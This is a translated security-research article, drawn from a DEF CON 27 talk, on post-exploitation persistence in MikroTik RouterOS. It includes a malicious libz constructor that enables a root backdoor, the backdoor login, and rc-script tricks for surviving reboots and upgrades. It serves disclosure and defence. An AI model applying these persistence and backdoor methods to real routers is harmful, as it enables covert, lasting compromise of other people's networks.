有关RouterOS的后渗透研究 – 作者:secist

在DEF CON 27大会上,我提出了题为“帮帮我,漏洞!你是我唯一希望”的讨论。讨论了过去几年有关MikroTik RouterOS的利用,并发布了一个用于帮助在RouterOS 3.x中启用和维持root shell访问的工具Cleaner Wrasse

1.png

此次DEF CON的讨论还介绍了RouterOS过去和现在的后期利用技术。我大致将讨论分为以下两部分:

1.攻击者可以从中执行的位置。

2.如何实现重启或持久性。

这也是本文的主要内容。但为什么要讨论后期利用呢?事实是,虽然我们可以看到许多有关这些路由器利用的文章。但关于RouterOS后期利用的公开研究却很少或几乎没有。因此,我希望这篇文章及相关工具能够为大家提供思路和帮助。

RouterOS

在正式开始讨论后期利用之前,你需要对RouterOS的一般设计有所了解。就我们的目的而言,要理解的最重要的事情之一是系统上的所有内容都是一个包。如下图所示,你可以看到我在hAP上安装的所有软件包。

2.png

甚至标准的Linux-y目录(如/bin/, /lib/, /etc/)都来自一个包。系统包被指定。

包使用的文件格式为NPKKirils Solovjovs制作了该描述文件格式的图表。每个NPK都包含一个squashfs部分。在启动时,squashfs文件系统将被提取并安装到/pckg/目录中(或者根据安装方法进行符号链接)(对于系统包来说,这并不完全正确,但我们可以忽略这一点)。

3.png

Squashfs是只读的。从上图中你可以看到,我无法touch /pckg/dhcp/lol文件。这可能会让你产生错觉认为整个系统都是只读的,但事实并非如此。例如,/pckg/实际上是/ram/中读写tmpfs空间的一部分。

4.png

此外,系统的/flash/目录指向持久读写存储。那里存储了很多配置信息。此外,只有持久存储用户可以访问,/flash/rw/disk/,在这个空间中被发现。

5.png

虽然系统所有的可执行文件似乎都位于只读空间中,但似乎存在一些攻击者可以操作的读写空间,包括tmpfs和persistent。技巧是弄清楚如何使用该空间来实现和维持执行。

另外一件重要的事情是,用户实际上无法访问RouterOS上真正的shell。在上面的截图中,似乎我拥有一个root shell。但这仅仅是因为我利用了路由器并启用了开发人员的后门。这实际上不太可能,所以我要感谢漏洞的“魔力”。

如果你对RouterOS中的开发人员后门并不熟悉,这里有一个非常简短的概述:自RouterOS 3.x以来,系统被设计为如果系统的特定位置存在特定文件,则提供一个可通过telnet或ssh访问的root busybox shell(该位置多年来已发生了改变)。假设存在特定文件,则可以通过使用admin用户和密码devel的身份登录访问busybox shell。

在以下视频中你可以看到,我利用HackerFantastic的set tracefile漏洞,在RouterOS 6.41.4上创建了特定文件/pckg/option。该文件的存在使得后门访问成为可能。当我以devel身份登录、然后删除文件并注销之后,我就不能再访问root shell了。

演示视频

攻击来自 SNMP 内部!

snmp二进制文件(/nova/bin/snmp)是系统包的一部分。但是,有各种其他软件包想要将自己的功能添加到snmp中。例如,dhcp包。在下图中,你可以看到/ pckg/dhcp具有/snmp/子目录。

6.png

当snmp二进制文件启动,它将遍历/pckg/中的所有目录并查找/nova/lib/snmp/子目录。该子目录中的任何共享对象都会传递给dlopen(),然后调用共享对象的autorun()。

由于dhcp软件包以只读方式挂载的,因此攻击者无法修改已加载的共享对象。但是/pckg/是读写的,因此攻击者可以引入自己的目录结构(例如/pckg/snmp_xploit/nova/lib/snmp/)。存储在那里的任何共享对象都将由snmp加载。

7.png

攻击者可以隐藏在只读空间的进程中。但是当它与可以将文件写入磁盘(如CVE-2019-3943CVE-2018-14847)的漏洞结合使用时,它会更有用。

我写了一个PoC来说明CVE-2019-3943的用例。实质上,经过身份验证的攻击者可以使用漏洞的目录遍历来创建/pckg/目录结构。

8.png

创建目录后,攻击者需要删除磁盘上的共享对象。幸运的是,CVE-2019-3943也可以做到这一点。显然,真正的攻击者可以从共享对象执行任何操作,但是为了概念验证,我直接从构造函数创建了6.41+后门文件。

9.png

PoC甚至会停止并重启SNMP进程,以确保在不重启系统的情况下加载共享对象。

10.png

由于/pckg/位于tmpfs空间,因此即使PoC没有删除脚本,脚本创建的目录结构也会在重启时被删除。

与上面类似,我发现我可以从/flash/rw/lib中获取系统二进制文件来加载库。这是因为/rw/lib/是LD_LIBRARY_PATH环境变量中的第一个条目。

11.png

从/rw/lib/加载库的好处在于,因为它是持久的文件空间,共享对象将在重启后保持不变。唯一的挑战是弄清楚我们想要劫持哪个库。显而易见的选择是libc.so,因为它可以保证在任何地方都能加载。但是RouterOS使用uClibc,坦率地说,我不想处理它。

谢天谢地,我偶然发现了这个。

12.png

/nova/bin/fileman加载libz。fileman是通过Winbox或Webfig从用户的/rw/disk目录进行读写操作的系统二进制文件。当用户导航到“Files”界面时,它会被执行,但在用户导航离开后,它会关闭,并闲置一分钟的时间。

为了编译恶意库,我只需下载libz 1.2.11并将此构造函数添加到deflate.c:

void __attribute__((constructor)) lol(void)
{
    int fork_result = fork();
    if (fork_result == 0)
    {
        execl("/bin/bash", "bash", "-c",
           "mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
           (char *) 0);
        exit(0);
    }
}

你可以再次看到,我刚刚选择创建后门文件。为了概念验证,我将新的libz.so交叉编译为MIPS big-endian(大端字节顺序),以便我可以在我的hAP路由器上测试它。

再次,概念验证使用CVE-2019–3943创建“lib”目录并将库放在磁盘上。

13.png

但是,与SNMP攻击不同,/rw/lib/libz.so将在重启后继续运行,并且实际上在启动序列中很早就会加载。这意味着每次重启后,后门文件都将在启动时被创建。

签名验证

存储在/flash/中的一个更有趣的东西是/flash/var/pdb/中的文件。

14.png

事实证明,这是RouterOS存储所有已安装NPK文件的地方。奇怪的是作为root,它们都是可写的。从我的经验可以告诉你,你肯定不想重写系统包。

当我知道我可以通过系统包来break整个系统时,我有点好奇。如果我再小心一点呢?如果我只是重写包的squashfs文件系统呢?会安装吗?

我写了一个名为modify_npk的工具来进行测试。这个工具非常简单,它需要一个有效的MikroTik NPK(例如dude-6.44.5.npk)和一个用户创建的squashfs。该工具会删除有效的MikroTik squashfs部分并插入用户的恶意squashfs。从理论上讲,modify_npk只需要一个新的内部squashfs就可以生成一个完美的NPK。

问题是MikroTik在安装NPK包时强制执行签名验证。如果你尝试安装一个modify_npk包,那么RouterOS会将其标记为已损坏并拒绝它。请参阅以下日志文件中的wrasse.npk:

15.png

我们不能让其他人在这些系统上安装任何他们想要的东西。但如果我们从我们自己的root shell进行安装呢?

16.png

理论上,在安装文件系统之前,RouterOS应始终对存储的NPK执行签名检查,因为它们都是读写的,对吧?

17.png

在上图中,你可以看到系统上已成功安装了wrasse,bad signature等等!显然,这意味着我创建的squashfs已经安装。

18.png

当然,仅仅安装squashfs还不够,因为我创建的文件系统实际上包含一个rc脚本,它将在启动时创建后门文件。

19.png

这非常有用,因为它会在重启后持续存在。虽然,用户可以通过使用“检查安装(Check Installation)”功能来捕获此特定攻击。

20.png

MikroTik悄无声息地修补了6.42.1中的这个bug。之所以说是“悄无声息”,是因为我没有看到任何特定的发布或说明,这表明他们决定在每次重启时强制执行签名验证。

RC 脚本

RouterOS使用rc脚本在引导后启动进程,并在关闭期间清理某些进程。操作系统有一个传统的/etc/rc.d/run.d/文件结构,我们将讨论这个结构,但它也有(或有)其他地方执行rc脚本。

/flash/etc/

如前所述,RouterOS有一个传统的/etc/目录,但由于该目录是只读的,所以攻击者无法修改或引入脚本。

21.png

乍一看,就rc脚本而言,它似乎没有那么有用。但是,正如Bignerd95在他的Chimay Red存储库中指出的,你可以在/flash/etc/中创建一个/rc.d/run.d/子目录,其中存储的任何rc脚本在启动和关闭时都将被视为普通rc脚本。

在下面的示例中,你可以看到我创建了/flash/etc/rc.d/run.d/,并打印出了s89lol脚本的位置。重启后,将执行脚本并创建开发人员后门。

这种行为在6.40.9之后被移除。然而,直到那时,这是一个非常简单和方便的持久性机制。

/rw/RESET

RouterOS在/etc/rc.d/run.d/中有一堆脚本,但有两个我想特别拿来说下。第一个是S08config,这是因为在6.40.5中它包含了以下逻辑:

elif [ -f /rw/RESET ]; then
    /bin/bash /rw/RESET
    rm -rf /rw/RESET

这意味着如果/rw/RESET存在,则S08config将在启动时将其作为bash脚本执行。这是一种明显的持久性机制。很明显它实际上是在野观察到的:

23.png

这个论坛用户获得了MikroTik的调试包,并能够检查一些后利用的文件。在这里我们可以看到攻击者使用/rw/RESET来执行他们的/rw/info二进制文件。也许这也是为什么MikroTik改变了S08config行为的原因。

/rw/DEFCONF

与/rw/RESET类似,/rw/DEFCONF的内容可以通过S12defconf中的eval语句执行。

defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
    /nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";
 cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &

这是在6.40.1中首次引入的,但与/rw/RESET不同,这在6.45.3中尚未被修复。实际上,这是Cleaner Wrasse用于在路由器上建立重启持久性的方法。我使用CVE-2019-3943编写了一个PoC,以证明远程认证的攻击者是如何滥用/rw/DEFCONF来实现后门并建立持久性的。

24.png

/pckg/

正如我们在本文的签名验证部分所看到的那样,/pckg/的每个包都可以有一个包含rc脚本的/etc/rc.d/run.d/目录。/pckg/是tmpfs的一部分,因此攻击者在/pckg/中创建的任何内容,都不会在重启后持续存在,但新的rc脚本将在关闭时执行。

这有用吗?有一个关于/rw/DEFCONF的点之前我一直没向大家提及到,那就是它在系统上的存在会导致登录出现问题。Cleaner Wrasse通过在/rw/.lol中暂存一个文件,然后在/pckg/中创建一个rc脚本来避免这个问题,该脚本会在关闭时创建/rw/DEFCONF文件。这样,Cleaner Wrasse就可以避免登录时的问题了,但在系统再次启动时,一定要确保其存在。

25.png

符号链接

我在本文中提到的许多PoC都使用了CVE-2019-3943这个漏洞,但它已在2019年5月份被修补(6.43.15 Long-term)。除非使用Kirilis Solojov的USB越狱,否则没有更多的公开方法来启用后门文件以及root设备。那么我又该如何做到这一点呢?

26.png

答案很简单。当我仍能够使用CVE-2019-3943漏洞利用路由器时,我在root用户的/rw/disk目录中创建了一个隐藏的符号链接。

27.png

升级后,只需FTP到路由器中,然后将符号链接遍历到root。从那里你可以用你想要的许多方法中的一种来实现执行。在下图中,我将libz.so放到/rw/lib/中以启用后门。

28.png

RouterOS没有为普通用户提供创建符号链接的方法,因此你只能通过利用来实现。但RouterOS也不会尝试删除符号链接。只要是这样,我们就可以继续使用存活的符号链接在升级后重建root shell。

Winbox或Webfig都不会显示隐藏文件。偶尔通过FTP检查用户目录,以确保其中没有隐藏的内容是必要的。

29.png

那么这里发生了什么?

我已经分享了很多实现执行的方法。所以当我偶然发现这个的时候,我有点困惑:

30.png

上图来自CVE-2018–14847的第一份公开报告。在它有CVE之前。在它被MikroTik发现之前。一位用户突然出现在MikroTik论坛上,并询问了有关潜在Winbox漏洞(在他们设备上发现了一个奇怪的登录和可疑文件)的问题。上面的图片来自于他们发现的一个叫做save.sh的bash脚本。

我在这篇文章中向大家展示了,攻击者不需要将任何东西存储在用户可以访问的唯一目录中。然而,这正是攻击者所做的。/flash/rw/pckg/是指向用户的/flash/rw/disk/目录的符号链接。由此产生的后果也迫使MikroTik做了一些强化

修复

当然!本文中提及的所有问题目前都已被修复。只需通过一些微小的修改,或是避免以root身份执行所有内容都可以达到修复的目的。纵深防御很重要,但有时它并不是一个高优先级。我预计未来也不会发生任何重大的变化,但希望MikroTik可以对其发展计划进行一些小的防御深度改进。

…或者我们只是静静等待RouterOS 7的发布;)

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

来源:freebuf.com 2019-09-23 13:00:22 by: secist

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论